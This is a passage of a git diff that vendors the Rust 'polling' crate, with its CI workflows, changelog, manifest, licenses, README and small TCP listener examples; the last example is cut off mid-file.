context), Poll::Ready(())); + assert!(!p.park_timeout(Duration::from_millis(0))); +} + +#[test] +fn debug_for_coverage() { + let (p, u) = parking::pair(); + let _ = format!("{:?} {:?}", &p, &u); +} diff --git a/lib/malio/polling/.cirrus.yml b/lib/malio/polling/.cirrus.yml new file mode 100644 index 0000000..b3bea56 --- /dev/null +++ b/lib/malio/polling/.cirrus.yml @@ -0,0 +1,61 @@ +only_if: $CIRRUS_TAG == '' && ($CIRRUS_PR != '' || $CIRRUS_BRANCH == 'master') +auto_cancellation: $CIRRUS_BRANCH != 'master' +env: + CARGO_INCREMENTAL: '0' + CARGO_NET_GIT_FETCH_WITH_CLI: 'true' + CARGO_NET_RETRY: '10' + CARGO_REGISTRIES_CRATES_IO_PROTOCOL: 'sparse' + CARGO_TERM_COLOR: always + RUST_BACKTRACE: '1' + RUSTDOCFLAGS: -D warnings + RUSTFLAGS: -D warnings + RUSTUP_MAX_RETRIES: '10' + +freebsd_task: + name: test ($TARGET) + freebsd_instance: + image_family: freebsd-13-4 + matrix: + - env: + TARGET: x86_64-unknown-freebsd + - env: + TARGET: i686-unknown-freebsd + setup_script: + - pkg install -y git + - curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y --profile minimal --default-toolchain stable --target $TARGET + test_script: + # https://github.com/cirruslabs/cirrus-ci-docs/issues/483 + - sudo sysctl net.inet.tcp.blackhole=0 + - . $HOME/.cargo/env + - cargo test --target $TARGET + +netbsd_task: + name: test ($TARGET) + compute_engine_instance: + image_project: pg-ci-images + # https://github.com/anarazel/pg-vm-images/blob/main/packer/netbsd.pkrvars.hcl + image: family/pg-ci-netbsd-vanilla + platform: netbsd + env: + TARGET: x86_64-unknown-netbsd + setup_script: + - pkgin -y install git + - curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y --profile minimal --default-toolchain stable + test_script: + - . $HOME/.cargo/env + - cargo test + +openbsd_task: + name: test ($TARGET) + compute_engine_instance: + image_project: pg-ci-images + # https://github.com/anarazel/pg-vm-images/blob/main/packer/openbsd.pkrvars.hcl + image: family/pg-ci-openbsd-vanilla + platform: openbsd + env: + TARGET: x86_64-unknown-openbsd + setup_script: + # OpenBSD is tier 3 target, so install rust from package manager instead of rustup + - pkg_add git rust + test_script: + - cargo test diff --git a/lib/malio/polling/.github/dependabot.yml b/lib/malio/polling/.github/dependabot.yml new file mode 100644 index 0000000..52f7945 --- /dev/null +++ b/lib/malio/polling/.github/dependabot.yml @@ -0,0 +1,9 @@ +version: 2 +updates: + - package-ecosystem: cargo + directory: / + schedule: + interval: weekly + commit-message: + prefix: '' + labels: [] diff --git a/lib/malio/polling/.github/workflows/ci.yml b/lib/malio/polling/.github/workflows/ci.yml new file mode 100644 index 0000000..f06bbb0 --- /dev/null +++ b/lib/malio/polling/.github/workflows/ci.yml @@ -0,0 +1,175 @@ +name: CI + +permissions: + contents: read + +on: + pull_request: + push: + branches: + - master + schedule: + - cron: '0 2 * * 0' + +env: + CARGO_INCREMENTAL: 0 + CARGO_NET_GIT_FETCH_WITH_CLI: true + CARGO_NET_RETRY: 10 + CARGO_TERM_COLOR: always + RUST_BACKTRACE: 1 + RUSTFLAGS: -D warnings + RUSTDOCFLAGS: -D warnings + RUSTUP_MAX_RETRIES: 10 + +defaults: + run: + shell: bash + +jobs: + fmt: + uses: smol-rs/.github/.github/workflows/fmt.yml@main + clippy: + uses: smol-rs/.github/.github/workflows/clippy.yml@main + with: + # macOS for kqueue, Windows for iocp, illumos for port, fuchsia for poll. + additional-targets: aarch64-apple-darwin x86_64-pc-windows-msvc x86_64-unknown-illumos x86_64-unknown-fuchsia + security_audit: + uses: smol-rs/.github/.github/workflows/security_audit.yml@main + permissions: + checks: write + contents: read + issues: write + secrets: inherit + + test: + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest, windows-latest, macos-latest] + rust: [nightly, beta, stable] + include: + - os: windows-latest + rust: nightly-x86_64-pc-windows-gnu + - os: windows-latest + rust: nightly-i686-pc-windows-msvc + - os: windows-latest + rust: nightly-i686-pc-windows-gnu + steps: + - uses: actions/checkout@v4 + - name: Install Rust + # --no-self-update is necessary because the windows environment cannot self-update rustup.exe. + run: rustup update ${{ matrix.rust }} --no-self-update && rustup default ${{ matrix.rust }} + - name: Install cargo-hack and cargo-minimal-versions + uses: taiki-e/install-action@v2 + with: + tool: cargo-hack,cargo-minimal-versions + - run: cargo build --all --all-features --all-targets + - run: cargo test + - run: cargo test + env: + # Note: This cfg is intended to make it easy for polling developers to test + # the backend that uses poll, and is not a public API. + RUSTFLAGS: ${{ env.RUSTFLAGS }} --cfg polling_test_poll_backend + if: startsWith(matrix.os, 'ubuntu') + - run: cargo test + env: + # Note: This cfg is intended to make it easy for polling developers to test + # the backend that uses pipes, and is not a public API. + RUSTFLAGS: ${{ env.RUSTFLAGS }} --cfg polling_test_epoll_pipe + if: startsWith(matrix.os, 'ubuntu') + - run: cargo hack build --feature-powerset --no-dev-deps + - run: cargo minimal-versions build --all --all-features + - name: Clone async-io + run: git clone https://github.com/smol-rs/async-io.git + # The async-io Cargo.toml already has a patch section at the bottom, so we + # can just add this. + - name: Patch polling + run: echo 'polling = { path = ".." }' >> async-io/Cargo.toml + - name: Test async-io + run: cargo test --manifest-path=async-io/Cargo.toml + + cross: + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest, macos-latest] + rust: [nightly, stable] + steps: + - uses: actions/checkout@v4 + - name: Install Rust + run: rustup update ${{ matrix.rust }} && rustup default ${{ matrix.rust }} + - name: Install cross + uses: taiki-e/install-action@cross + - name: Add rust-src + if: startsWith(matrix.rust, 'nightly') + run: rustup component add rust-src + # We don't test BSDs, since we already test them in Cirrus. + - name: Android + if: startsWith(matrix.os, 'ubuntu') + run: cross test --target arm-linux-androideabi + - name: iOS + if: startsWith(matrix.os, 'macos') + run: | + rustup target add aarch64-apple-ios + cross build --target aarch64-apple-ios + - name: Linux x32 + if: startsWith(matrix.os, 'ubuntu') + run: | + rustup target add x86_64-unknown-linux-gnux32 + cross check --target x86_64-unknown-linux-gnux32 + - name: Fuchsia + if: startsWith(matrix.os, 'ubuntu') + run: | + rustup target add x86_64-unknown-fuchsia + cargo build --target x86_64-unknown-fuchsia + - name: illumos + if: startsWith(matrix.os, 'ubuntu') + run: | + rustup target add x86_64-unknown-illumos + cargo build --target x86_64-unknown-illumos + - name: Redox + if: startsWith(matrix.rust, 'nightly') && startsWith(matrix.os, 'ubuntu') + run: | + rustup target add x86_64-unknown-redox + cargo check --target x86_64-unknown-redox + - name: HermitOS + if: startsWith(matrix.rust, 'nightly') && startsWith(matrix.os, 'ubuntu') + run: cargo check -Z build-std --target x86_64-unknown-hermit + - name: Check haiku + if: startsWith(matrix.rust, 'nightly') && startsWith(matrix.os, 'ubuntu') + run: cargo check -Z build-std --target x86_64-unknown-haiku + - name: Check vita + if: startsWith(matrix.rust, 'nightly') && startsWith(matrix.os, 'ubuntu') + run: cargo check -Z build-std --target armv7-sony-vita-newlibeabihf + - name: Check ESP-IDF + if: startsWith(matrix.rust, 'nightly') && startsWith(matrix.os, 'ubuntu') + run: cargo check -Z build-std --target riscv32imc-esp-espidf + + wine: + runs-on: ubuntu-22.04 + steps: + - uses: actions/checkout@v4 + - name: Install Rust + run: rustup update stable + - uses: taiki-e/setup-cross-toolchain-action@v1 + with: + target: x86_64-pc-windows-gnu + - run: cargo test --target x86_64-pc-windows-gnu + + msrv: + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest, windows-latest] + steps: + - uses: actions/checkout@v4 + - name: Install cargo-hack + uses: taiki-e/install-action@cargo-hack + - run: cargo hack build --no-dev-deps --rust-version + - run: cargo hack build --no-dev-deps --rust-version --target x86_64-unknown-freebsd + if: startsWith(matrix.os, 'ubuntu') + - run: cargo hack build --no-dev-deps --rust-version --target x86_64-unknown-netbsd + if: startsWith(matrix.os, 'ubuntu') diff --git a/lib/malio/polling/.github/workflows/release.yml b/lib/malio/polling/.github/workflows/release.yml new file mode 100644 index 0000000..59fad1f --- /dev/null +++ b/lib/malio/polling/.github/workflows/release.yml @@ -0,0 +1,22 @@ +name: Release + +permissions: + contents: write + +on: + push: + tags: + - v[0-9]+.* + +jobs: + create-release: + if: github.repository_owner == 'smol-rs' + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: taiki-e/create-gh-release-action@v1 + with: + changelog: CHANGELOG.md + branch: master + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} diff --git a/lib/malio/polling/.gitignore b/lib/malio/polling/.gitignore new file mode 100644 index 0000000..96ef6c0 --- /dev/null +++ b/lib/malio/polling/.gitignore @@ -0,0 +1,2 @@ +/target +Cargo.lock diff --git a/lib/malio/polling/CHANGELOG.md b/lib/malio/polling/CHANGELOG.md new file mode 100644 index 0000000..751c1bd --- /dev/null +++ b/lib/malio/polling/CHANGELOG.md @@ -0,0 +1,236 @@ +# Version 3.11.0 + +- Bump MSRV to 1.71. (#251) +- Update to `windows-sys` v0.61. (#251) + +# Version 3.10.0 + +- Add `wait_deadline` function. (#226) + +# Version 3.9.0 + +- Add a new optional `tracing` feature. When enabled, this feature adds logging + to the implementation. By default it is disabled. (#238) +- Update to `windows-sys` v0.60. (#239) + +# Version 3.8.0 + +- Implement `AsRawFd` and `AsFd` for `Poller` on Redox OS. (#235) +- Update `hermit-abi` to v0.5.0. (#229) +- Update `rustix` to 1.0 (#230). This also fixed a bug in `wait` which (contradicting docs) cleared the events vector instead of appending to it. +- Add support for QNX. (#201) + +# Version 3.7.4 + +- Add support for visionOS. (#217) +- Fix typos in documentation. (#216) + +# Version 3.7.3 + +- Update to `windows-sys` v0.59. (#214) + +# Version 3.7.2 + +- Update `hermit-abi` to v0.4.0. (#209) + +# Version 3.7.1 + +- Fix a typo in `Event::is_err()`. (#204) + +# Version 3.7.0 + +- Add support for the PS Vita as a platform. (#160) + +# Version 3.6.0 + +- Add an `is_err` method to `Event` to tell when an error has occurred. (#189) +- Deprecate the `is_connect_failed` function. (#189) +- Add support for HermitOS to `polling`. (#194) + +# Version 3.5.0 + +- Use the `epoll` backend when RedoxOS is enabled. (#190) + +# Version 3.4.0 + +- Add the ability to identify whether socket connection has failed. (#185) +- On BSD, add the ability to wait on a process by its PID. Previously, it was + only possible to wait on a process by a `Child` object. (#180) +- On ESP-IDF, annotate `eventfd` initialization failures with a message + indicating the source of those failures. (#186) + +# Version 3.3.2 + +- When AFD fails to initialize, the resulting error now references + the underlying system error. (#174) + +# Version 3.3.1 + +- Bump `windows-sys` to v0.52.0. (#169) + +# Version 3.3.0 + +- Automatically restarts polling when `ErrorKind::Interrupted` is returned, rather than relying on the user to handle it. (#164) +- Fix bad link in documentation for `Poller::wait()`. (#163) + +# Version 3.2.0 + +- The `kqueue` backend previously allowed the following operations that other backends forbid. Now these operations result in an error: (#153) + - Inserting a source that was already inserted. + - Modifying/deleting a source that was not already inserted. +- Add support for Haiku OS. (#154) + +# Version 3.1.0 + +- Add an `Event::new()` constructor to simplify creating `Event`s. (#149) + +# Version 3.0.0 + +- Replace `libc` in all backends with the `rustix` crate (#108). +- Use `tracing` instead of `log` for logging (#119). +- **Breaking:** Rework the API to use I/O safety. Note that this makes several previously safe functions unsafe. (#123) +- Add support for the ESP-IDF platform. (#128) +- **Breaking:** Make `Event` partially opaque, and create a new `Events` struct for holding events. (#133) +- Add support for running `polling` in Linux containers without `eventfd` available. (#134) +- Specify the behavior when registered in multiple `Poller`s. (#136) +- **Breaking:** Use `c_int` from the standard library in `polling::os::kqueue` instead of defining our own. (#143) +- **Breaking:** Remove the useless `std` feature. (#147) + +# Version 2.8.0 + +- Add functionality for posting events to the IOCP. (#101) + +# Version 2.7.0 + +- Add edge/oneshot combination mode. (#96) +- Update windows-sys requirement from 0.45 to 0.48. (#103) + +# Version 2.6.0 + +- Add level and edge triggered modes to the poller (#59) +- Support tvOS and watchOS (#60) +- Prevent large timeouts from causing panics on certain backends (#71) +- For certain BSDs, use `EVFILT_USER` to wake up the poller instead of a pipe (#73) +- For Solaris/illumos, use `port_send` to wake up the poller instead of a pipe (#74) +- Update `windows_sys` from 0.42 to 0.45 (#80) +- Expose other `kqueue` filter types (#83) +- Replace the Windows backend with a hand-written version, rather than bringing in a C dependency (#88) + +# Version 2.5.2 + +- Update use of `libc::timespec` to prepare for future libc version (#55) +- Update use of `libc::kevent` to prepare for future libc version (#56) +- Add error message for Wepoll (#54) + +# Version 2.5.1 + +- Fix the build error with MSRV on Windows + +# Version 2.5.0 + +- Switch from `winapi` to `windows-sys` (#47) + +# Version 2.4.0 + +- Fix the build error on illumos and Solaris (#43) +- Bump MSRV to 1.47 (#40) +- Optimize `Poller` internal representation (#40) + +# Version 2.3.0 + +- Implement `AsRawFd` for `Poller` on most Unix systems (#39) +- Implement `AsRawHandle` for `Poller` on Windows (#39) +- Implement I/O safety traits on Rust 1.63+ (#39) + +# Version 2.2.0 + +- Support VxWorks, Fuchsia and other Unix systems by using poll. (#26) + +# Version 2.1.0 + +- Switch from `wepoll-sys` to `wepoll-ffi`. + +# Version 2.0.3 + +- Update `cfg-if` dependency to 1. + +# Version 2.0.2 + +- Replace manual pointer conversion with `as_ptr()` and `as_mut_ptr()`. + +# Version 2.0.1 + +- Minor docs improvements. + +# Version 2.0.0 + +- Add `Event` argument to `Poller::insert()`. +- Don't put fd/socket in non-blocking mode upon insertion. +- Rename `insert()`/`interest()`/`remove()` to `add()`/`modify()`/`delete()`. +- Replace `wepoll-sys-stjepang` with an `wepoll-sys`. + +# Version 1.1.0 + +- Add "std" cargo feature. + +# Version 1.0.3 + +- Remove `libc` dependency on Windows. + +# Version 1.0.2 + +- Bump MSRV to 1.40.0 +- Replace the `epoll_create1` hack with a cleaner solution. +- Pass timeout to `epoll_wait` to support systems without `timerfd`. + +# Version 1.0.1 + +- Fix a typo in the readme. + +# Version 1.0.0 + +- Stabilize. + +# Version 0.1.9 + +- Fix compilation on x86_64-unknown-linux-gnux32 + +# Version 0.1.8 + +- Replace `log::debug!` with `log::trace!`. + +# Version 0.1.7 + +- Specify oneshot mode in epoll/wepoll at insert. + +# Version 0.1.6 + +- Add logging. + +# Version 0.1.5 + +- Fix a bug where epoll would block when the timeout is set to zero. +- More tests. + +# Version 0.1.4 + +- Optimize notifications. +- Fix a bug in timeouts on Windows where it would trigger too early. +- Support sub-nanosecond precision on Linux/Android. + +# Version 0.1.3 + +- Improve error handling around event ports fcntl + +# Version 0.1.2 + +- Add support for event ports (illumos and Solaris) + +# Version 0.1.1 + +- Improve documentation +- Fix a bug in `Event::none()`. + +# Version 0.1.0 + +- Initial version diff --git a/lib/malio/polling/Cargo.toml b/lib/malio/polling/Cargo.toml new file mode 100644 index 0000000..c90090d --- /dev/null +++ b/lib/malio/polling/Cargo.toml @@ -0,0 +1,67 @@ +[package] +name = "polling" +# When publishing a new version: +# - Update CHANGELOG.md +# - Create "v3.x.y" git tag +version = "3.4.0" +authors = ["Stjepan Glavina ", "John Nunley "] +edition = "2021" +rust-version = "1.71" +description = "Portable interface to epoll, kqueue, event ports, and IOCP" +license = "Apache-2.0 OR MIT" +repository = "https://github.com/smol-rs/polling" +keywords = ["mio", "epoll", "kqueue", "iocp"] +categories = ["asynchronous", "network-programming", "os"] +exclude = ["/.*"] + +[package.metadata.docs.rs] +rustdoc-args = ["--cfg", "docsrs"] + +[lints.rust] +unexpected_cfgs = { level = "warn", check-cfg = ['cfg(polling_test_poll_backend)', 'cfg(polling_test_epoll_pipe)'] } + +[dependencies] +cfg-if = "1" + +[dependencies.tracing] +version = "0.1.37" +default-features = false +optional = true + +[target.'cfg(any(unix, target_os = "fuchsia", target_os = "vxworks"))'.dependencies.rustix] +version = "1.0.5" +features = ["event", "fs", "pipe", "process", "std", "time"] +default-features = false + +[target.'cfg(windows)'.dependencies] +concurrent-queue = "2.2.0" +pin-project-lite = "0.2.9" + +[target.'cfg(windows)'.dependencies.windows-sys] +version = "0.61" +features = [ + "Wdk_Foundation", + "Wdk_Storage_FileSystem", + "Win32_Foundation", + "Win32_Networking_WinSock", + "Win32_Security", + "Win32_Storage_FileSystem", + "Win32_System_IO", + "Win32_System_LibraryLoader", + "Win32_System_Threading", + "Win32_System_WindowsProgramming", +] + +[target.'cfg(target_os = "hermit")'.dependencies.hermit-abi] +version = "0.5.0" + +[dev-dependencies] +easy-parallel = "3.1.0" +fastrand = "2.0.0" +socket2 = "0.6.0" + +[target.'cfg(unix)'.dev-dependencies] +libc = "0.2" + +[target.'cfg(all(unix, not(target_os="vita")))'.dev-dependencies] +signal-hook = "0.3.17" diff --git a/lib/malio/polling/Cross.toml b/lib/malio/polling/Cross.toml new file mode 100644 index 0000000..856f9b4 --- /dev/null +++ b/lib/malio/polling/Cross.toml @@ -0,0 +1,3 @@ +[target.arm-linux-androideabi] +# Workaround https://github.com/cross-rs/cross/issues/1128 / https://github.com/rust-lang/rust/issues/103673 +image = "ghcr.io/cross-rs/arm-linux-androideabi:edge" diff --git a/lib/malio/polling/LICENSE-APACHE b/lib/malio/polling/LICENSE-APACHE new file mode 100644 index 0000000..16fe87b --- /dev/null +++ b/lib/malio/polling/LICENSE-APACHE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + +TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + +1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + +2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + +3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + +4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + +5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + +6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + +7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + +8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + +9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + +END OF TERMS AND CONDITIONS + +APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + +Copyright [yyyy] [name of copyright owner] + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. diff --git a/lib/malio/polling/LICENSE-MIT b/lib/malio/polling/LICENSE-MIT new file mode 100644 index 0000000..31aa793 --- /dev/null +++ b/lib/malio/polling/LICENSE-MIT @@ -0,0 +1,23 @@ +Permission is hereby granted, free of charge, to any +person obtaining a copy of this software and associated +documentation files (the "Software"), to deal in the +Software without restriction, including without +limitation the rights to use, copy, modify, merge, +publish, distribute, sublicense, and/or sell copies of +the Software, and to permit persons to whom the Software +is furnished to do so, subject to the following +conditions: + +The above copyright notice and this permission notice +shall be included in all copies or substantial portions +of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF +ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED +TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A +PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT +SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY +CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR +IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +DEALINGS IN THE SOFTWARE. diff --git a/lib/malio/polling/README.md b/lib/malio/polling/README.md new file mode 100644 index 0000000..b34ae0c --- /dev/null +++ b/lib/malio/polling/README.md @@ -0,0 +1,77 @@ +# polling + +[![Build](https://github.com/smol-rs/polling/actions/workflows/ci.yml/badge.svg)]( +https://github.com/smol-rs/polling/actions) +[![License](https://img.shields.io/badge/license-Apache--2.0_OR_MIT-blue.svg)]( +https://github.com/smol-rs/polling) +[![Cargo](https://img.shields.io/crates/v/polling.svg)]( +https://crates.io/crates/polling) +[![Documentation](https://docs.rs/polling/badge.svg)]( +https://docs.rs/polling) + +Portable interface to epoll, kqueue, event ports, and IOCP. + +Supported platforms: +- [epoll](https://en.wikipedia.org/wiki/Epoll): Linux, Android, RedoxOS +- [kqueue](https://en.wikipedia.org/wiki/Kqueue): macOS, iOS, tvOS, watchOS, visionOS, FreeBSD, NetBSD, OpenBSD, + DragonFly BSD +- [event ports](https://illumos.org/man/port_create): illumos, Solaris +- [poll](https://en.wikipedia.org/wiki/Poll_(Unix)): VxWorks, Fuchsia, HermitOS, other Unix systems +- [IOCP](https://learn.microsoft.com/en-us/windows/win32/fileio/i-o-completion-ports): Windows, Wine (version 7.13+) + +By default, polling is done in oneshot mode, which means interest in I/O events needs to +be re-enabled after an event is delivered if we're interested in the next event of the same +kind. However, level and edge triggered modes are also available for certain operating +systems. See the documentation of the [`PollMode`] type for more information. + +Only one thread can be waiting for I/O events at a time. + +[`PollMode`]: https://docs.rs/polling/latest/polling/enum.PollMode.html + +## Examples + +```rust,no_run +use polling::{Event, Poller}; +use std::net::TcpListener; + +// Create a TCP listener. +let socket = TcpListener::bind("127.0.0.1:8000")?; +socket.set_nonblocking(true)?; +let key = 7; // Arbitrary key identifying the socket. + +// Create a poller and register interest in readability on the socket. +let poller = Poller::new()?; +poller.add(&socket, Event::readable(key))?; + +// The event loop. +let mut events = Vec::new(); +loop { + // Wait for at least one I/O event. + events.clear(); + poller.wait(&mut events, None)?; + + for ev in &events { + if ev.key == key { + // Perform a non-blocking accept operation. + socket.accept()?; + // Set interest in the next readability event. + poller.modify(&socket, Event::readable(key))?; + } + } +} +``` + +## License + +Licensed under either of + + * Apache License, Version 2.0 ([LICENSE-APACHE](LICENSE-APACHE) or https://www.apache.org/licenses/LICENSE-2.0) + * MIT license ([LICENSE-MIT](LICENSE-MIT) or https://opensource.org/license/mit/) + +at your option. + +#### Contribution + +Unless you explicitly state otherwise, any contribution intentionally submitted +for inclusion in the work by you, as defined in the Apache-2.0 license, shall be +dual licensed as above, without any additional terms or conditions. diff --git a/lib/malio/polling/examples/tcp_client.rs b/lib/malio/polling/examples/tcp_client.rs new file mode 100644 index 0000000..431c0ae --- /dev/null +++ b/lib/malio/polling/examples/tcp_client.rs @@ -0,0 +1,36 @@ +use std::{io, net}; + +use polling::Event; +use socket2::Type; + +fn main() -> io::Result<()> { + let socket = socket2::Socket::new(socket2::Domain::IPV4, Type::STREAM, None)?; + let poller = polling::Poller::new()?; + unsafe { + poller.add(&socket, Event::new(0, true, true))?; + } + let addr = net::SocketAddr::new(net::Ipv4Addr::LOCALHOST.into(), 8080); + socket.set_nonblocking(true)?; + let _ = socket.connect(&addr.into()); + + let mut events = polling::Events::new(); + + events.clear(); + poller.wait(&mut events, None)?; + + let event = events.iter().next(); + let event = match event { + Some(event) => event, + None => { + println!("no event"); + return Ok(()); + } + }; + + println!("event: {event:?}"); + if event.is_err().unwrap_or(false) { + println!("connect failed"); + } + + Ok(()) +} diff --git a/lib/malio/polling/examples/two-listeners.rs b/lib/malio/polling/examples/two-listeners.rs new file mode 100644 index 0000000..bf54eee --- /dev/null +++ b/lib/malio/polling/examples/two-listeners.rs @@ -0,0 +1,43 @@ +use std::io; +use std::net::TcpListener; + +use polling::{Event, Events, Poller}; + +fn main() -> io::Result<()> { + let l1 = TcpListener::bind("127.0.0.1:8001")?; + let l2 = TcpListener::bind("127.0.0.1:8002")?; + l1.set_nonblocking(true)?; + l2.set_nonblocking(true)?; + + let poller = Poller::new()?; + unsafe { + poller.add(&l1, Event::readable(1))?; + poller.add(&l2, Event::readable(2))?; + } + + println!("You can connect to the server using `nc`:"); + println!(" $ nc 127.0.0.1 8001"); + println!(" $ nc 127.0.0.1 8002"); + + let mut events = Events::new(); + loop { + events.clear(); + poller.wait(&mut events, None)?; + + for ev in events.iter() { + match ev.key { + 1 => { + println!("Accept on l1"); + l1.accept()?; + poller.modify(&l1, Event::readable(1))?; + } + 2 => { + println!("Accept on l2"); + l2.accept()?; + 